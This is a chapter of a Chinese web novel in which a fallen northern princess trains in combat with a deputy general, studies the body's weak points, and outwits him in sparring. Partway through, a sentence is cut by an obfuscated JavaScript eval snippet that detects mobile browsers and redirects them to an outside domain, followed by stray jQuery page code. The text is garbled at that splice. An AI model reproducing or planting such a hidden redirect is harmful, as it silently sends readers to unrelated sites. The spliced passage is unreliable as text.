芝兰堂在前头的屋子是接待病人的地方,穿过前边的药屋,便能见到藏在后边的小院。
院子属实不大,但是用于简单习武还是够用的。
正如赵凉絮所猜测的那样,陆轩正是当初替她披上衣服的那名副官。
若说当日的陆轩从战场凯旋归来,周身还残留和自浴血杀敌生成的锐气,如今的陆轩在京城待了一阵,早已藏起那股锐气。
若忽视脸颊处的伤疤,陆轩看着不过是个身形健壮的青年。
甚至于在京城子弟中独一份的稳重气质衬得他相貌略显出挑。
他自然是清楚自己教的是谁,因而他进了小院便颇有礼数地朝赵凉絮拱手平揖。
“赵公主,许久不见。”
赵凉絮觉得周锋旗下,唯有陆轩是稍微能够正常相处的,其余的人早已在对她的嘲笑当中被赵凉絮拉入了“蠢货”的名册。
因而她对待陆轩便如同一个真正要教她的师傅那样,该有的礼数也是不少的。
“陆副将直言我的名字就行。”
只是她尚有一些疑惑:“陆副将既然知晓是我,为何还会选择来教我呢?”
“周将军恐怕不知道这件事?”
陆轩闻言,忙道:“周将军的确不知此事,我也是因曾大人提了一嘴,便正巧我近来也无事,便......”
他打量着赵凉絮的神情,当日知道是赵凉絮在寻习武师傅时,他也的确吃了一惊。
往日陆轩处于周锋麾下,几乎是时时陪同周锋在战场上厮杀,于战事中奔波,很少回到京城,也是如今他立下战功凯旋归来,才多在京城待上些时日。
那日巧合救下赵凉絮这位敌国公主,他也十分意外。
是的,战功便是他们灭了北周,赵凉絮自然算是敌国公主。
当日血痕与脏污遍布赵凉絮的全身,她的脸掩藏在枯草般的发丝后,堪称一句形如枯槁。
可那双眼睛亮的惊人,竟不像是受过战火摧残、荒野奔波的逃难人。
逃荒的人的眼睛,是死水。
她的眼睛,却闪动着火焰一般的生气。
因此听到是她时,他觉得,如果是赵凉絮同邱女官和曾大人有交情,如果是赵凉絮习武,那也是合理的。
“周将军若是知道此事,岂不会找你麻烦?”
赵凉絮的声音打断了陆轩的思绪。
以她对周锋简单的印象,若是知道自己的副将与赵凉絮有交流,指不定他会有什么想法。
要不就是来捣乱,要不就是又想利用她做点什么。
但是陆轩的身手于她而言实在是个高价值的东西,她若是能抓住,自然再好不过。
“不会的,将军怎会因这点事情便苛责我针对你呢?”
显然,陆轩对周锋颇为信服。
“我是不会告诉周将军,赵公主请放心。”他依旧没有改称呼。
赵凉絮也不再强求,一心便专注于陆轩的指导。
第一日便是先试了一下赵凉絮的体力和身手。
赵凉絮已经将身体养好了许多,但她这具身体从未锻炼过,不多时便气喘吁吁。
邱澄闲暇时会来看一眼,她扫了一眼赵凉絮沁出薄汗的额头,嘱咐道:“陆副将还是注意些凉絮的身体,她才刚养好不久,还是得循序渐进着来。”
瞧见赵凉絮体力不佳的样子,陆轩有些头疼。
这比他原本预设的还难一些。
“赵公主每日便先少些强度,等适应了再增加些活动也不迟,这几日也可以额外先练一些技巧。”
陆轩转而向赵凉絮传授他们平日最基本要了解的东西:人身上的弱处。
“同他人打斗时,无论徒手还是手持武器,必然是要朝着对方身上的要害处使劲的,战场上瞬息万变,自然要以最利落的动作了结对方,或是让对方失去行动能力。脖颈、胸口、额头往往有盔甲护着,但唯有一处难以阻挡......”
陆轩在讲到自己所擅长的地方时很是沉醉,连带着手上都会配有一些搏杀的动作。
赵凉絮认真倾听着。
陆轩这才想起,赵凉絮是女子,如此血腥狠戾的战场厮杀技巧似乎不太适合她。
他顿了片刻,引来赵凉絮不解的目光。
他抿着嘴,被赵凉絮那双些微睁大的双眸注视催促时,挣扎片刻。
还不等他决意继续讲下去,赵凉絮自己便说了出来:“是眼睛对吧,盔甲永远无法遮住视线,若是精度够高,是否可以通过眼睛一箭射杀头颅?”
陆轩张了张口,他被赵凉絮毫无犹豫与掩饰的话惊了片刻。
她似乎不会觉得这些可怖。
“确实是眼睛,但人很难在远处精准射入敌人的双眼,这多用在近身搏战时,盔甲此时成了累赘,眼睛便成了最明显的弱点。”
“还有呢?还有哪些要害?”
赵凉絮孜孜不倦地求学。
“还有......”
陆轩将自己经过实战习到的搏战经验一一讲给赵凉絮,这不是什么不能说的秘密,况且,身手不是他用嘴说了便能让对方学到的。
他完全不担心赵凉絮全部学会,她若是能学到一二,便能自保。
赵凉絮心里倒是格外畅快,她一定会好好记住这些,然后努力实践。
待回到安府后,她浑身疲累。
实际上没有太多的体力训练,但耐不住她此前的身体太虚。
她简单清洗后便一头栽入梦乡。
第二日醒来,果不其然,她浑身上下酸痛极了。
这就是时常不运动后突然开始锻炼的后遗症。
赵凉絮强撑着起来,她自然不会躺在床上修养,她现在对习武这事兴趣大的很。
接下来一连半月,赵凉絮日日都去芝兰堂。
陆轩关注着赵凉絮的疲惫程度,一点点将强度拉大。
兴许是北周子民的根基在此时发挥了作用,赵凉絮适应的很好。
但令陆轩惊讶的并不是此事,而是赵凉絮在技巧上的应用。
考虑到赵凉絮身为女子,陆轩并未教给她那些需要用蛮力的身法,反而是一些巧劲巧技居多。
赵凉絮学的飞快,凡是陆轩演示过一次的动作,她几乎能完全复刻出来,连陆轩都暗暗惊讶赵凉絮动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066033|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作的精准和狠利。
如此狠利。
不像绵柔的南周女子。
在简单切磋中,多是陆轩轻而易举地胜利,赵凉絮再厉害,也不过修习半月,陆轩对自己自己数十年磨练的能力十分自信。
但日子一久,陆轩却觉得有些棘手。
他依旧是获胜居多,但赵凉絮的身法却愈发熟练,陆轩对赵凉絮的适应能力感到心惊。
进步飞快是好的,赵凉絮更是记住了陆轩所讲的打击要害。
她不光是复刻陆轩所施展的一些技巧,在每天的简单切磋中,她表现得像一条蛇一样。
伺机而动,双眼紧紧盯着猎物。
赵凉絮的体力和耐力有所提升,但远远达不到所谓合格。
两人的切磋中,陆轩依旧简单地便能获胜,但他却总觉得有一丝不对劲。
既然身法愈加熟练,他也有刻意放水,那赵凉絮便应该在切磋上有所长进,比如,偶尔取得一次上风。
但她却没有什么变化。
直至今日。
陆轩本以为如往常右手格挡卸力便能让赵凉絮失了平衡,这次他却失算了。
卸力后赵凉絮趁势往前用力,她左手一扬直指脖颈,陆轩心中早就了然,向一侧偏去。
但就在此时,赵凉絮腰上一扭,带动右腿狠狠一踢,左手指势顺势换成并拢五指,轻而易举地一拂。
陆轩难以控制平衡,赵凉絮手脚发力让他往自己原本躲避的方向摔去。
陆轩摔倒在地上。
“陆副将,承让。”
赵凉絮淡红的唇弯起胜利的弧度,不刺眼的阳光被她遮在身后。
陆轩觉得,此时的赵凉絮比太阳还要晃眼。
他拍了拍腿起身,问道:“你......之前都藏了力道?”
方才那一脚可有力得很,不同往日的绵软。
“正如陆副将所教的,战场上处处要掩藏自己。”
“我可没说要掩藏的是这个,这里也不是战场。”他还是为赵凉絮的思维感到惊奇。
“你是如何知道我会朝左卸力?”
赵凉絮毫不避讳地伸了个懒腰,回道:“自然是观察得来,你在躲避脖子上带来的威胁时必然会有一刻的松懈,这虽然难抓,但的确是下手的好时机。我观察力一向很强的。”
她说这话的时候显得很无所谓,一点也不像方才冷面肃眼的模样。
他方才真察觉到赵凉絮指尖杀意,因此不得不往一侧躲闪。
她果真不同于南周女子。
陆轩睁着眼睛久久不曾眨动,睁得他的眼睛都有些酸涩,才低头掩下眼中情绪:“赵公主不愧出身北周,身手和想法都颇为不俗。”
赵凉絮有些惊讶,嘴上带了些玩笑的意味:“陆副将这样说我的身世,倒像是拿我打趣了。”
陆轩惊觉,他在说些什么糊涂话。
这样提起北周,岂不是会引起赵凉絮伤春悲秋。
他心中有些歉意,赵凉絮摆手示意无事。
赵凉絮不在意这些事,陆轩心中升起这个念头。
她果然是个不同的女子。